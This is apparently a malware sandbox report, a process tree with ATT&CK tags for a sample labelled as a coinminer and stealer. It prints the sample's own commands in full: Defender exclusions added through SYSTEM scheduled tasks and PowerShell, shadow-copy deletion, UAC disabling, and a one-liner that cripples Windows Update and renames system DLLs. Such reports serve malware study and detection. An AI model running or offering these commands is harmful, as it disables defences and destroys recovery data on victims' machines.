PID 1412 wrote to memory of 4844	1412	cmd.exe	129
PID 3632 wrote to memory of 4456	3632	cmd.exe	131
PID 1132 wrote to memory of 2472	1132	cmd.exe	132
PID 4652 wrote to memory of 2456	4652	ObgUmz.exe	133
PID 2456 wrote to memory of 1648	2456	zbT5Ep.exe	136
PID 2456 wrote to memory of 4768	2456	zbT5Ep.exe	138
PID 2456 wrote to memory of 3308	2456	zbT5Ep.exe	140
PID 4768 wrote to memory of 3032	4768	cmd.exe	142
PID 2456 wrote to memory of 3040	2456	zbT5Ep.exe	145
PID 3040 wrote to memory of 4956	3040	cmd.exe	147
PID 2456 wrote to memory of 636	2456	zbT5Ep.exe	148
PID 636 wrote to memory of 4324	636	cmd.exe	150
PID 2456 wrote to memory of 4676	2456	zbT5Ep.exe	151
PID 4676 wrote to memory of 2172	4676	cmd.exe	153
PID 2456 wrote to memory of 3596	2456	zbT5Ep.exe	154
PID 3596 wrote to memory of 1552	3596	cmd.exe	156
PID 2456 wrote to memory of 4260	2456	zbT5Ep.exe	157
PID 4260 wrote to memory of 4044	4260	cmd.exe	159
PID 2456 wrote to memory of 3160	2456	zbT5Ep.exe	160
PID 3160 wrote to memory of 552	3160	cmd.exe	162
PID 2456 wrote to memory of 4556	2456	zbT5Ep.exe	163
PID 4556 wrote to memory of 4864	4556	cmd.exe	165
PID 2456 wrote to memory of 1380	2456	zbT5Ep.exe	166
PID 1380 wrote to memory of 4296	1380	cmd.exe	168
PID 2456 wrote to memory of 2544	2456	zbT5Ep.exe	169
PID 2544 wrote to memory of 1836	2544	cmd.exe	171
PID 2456 wrote to memory of 4744	2456	zbT5Ep.exe	172
PID 4744 wrote to memory of 2000	4744	cmd.exe	174
PID 2456 wrote to memory of 4548	2456	zbT5Ep.exe	175
PID 4548 wrote to memory of 2152	4548	cmd.exe	177
PID 2456 wrote to memory of 4476	2456	zbT5Ep.exe	178
PID 4476 wrote to memory of 3512	4476	cmd.exe	180
PID 2456 wrote to memory of 3220	2456	zbT5Ep.exe	181
PID 3220 wrote to memory of 3324	3220	cmd.exe	183
PID 2456 wrote to memory of 3784	2456	zbT5Ep.exe	184
PID 3784 wrote to memory of 4188	3784	cmd.exe	186
PID 2456 wrote to memory of 3700	2456	zbT5Ep.exe	187
PID 2456 wrote to memory of 1848	2456	zbT5Ep.exe	189
PID 2456 wrote to memory of 3736	2456	zbT5Ep.exe	191
PID 1848 wrote to memory of 1656	1848	cmd.exe	193
PID 3736 wrote to memory of 4976	3736	cmd.exe	194
PID 4976 wrote to memory of 1728	4976	net.exe	195
PID 1848 wrote to memory of 2904	1848	cmd.exe	196
PID 1848 wrote to memory of 1940	1848	cmd.exe	198

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	zbT5Ep.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3400

C:\Users\Public\RjxV5b\ObgUmz.exe
C:\Users\Public\RjxV5b\ObgUmz.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RjxV5b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RjxV5b\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4844
- C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe
  "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3032
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4296
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3220
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4188
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3700
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zbT5Ep\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zbT5Ep\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1656
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1728
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3448
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4124
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2712
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2152
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3880
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4144
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4356
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:740
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1600
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:628
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:3896
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2084
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2584
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2428
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4408
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4348
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3096
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4308
  - - C:\Windows\SysWOW64\schtasks.exe
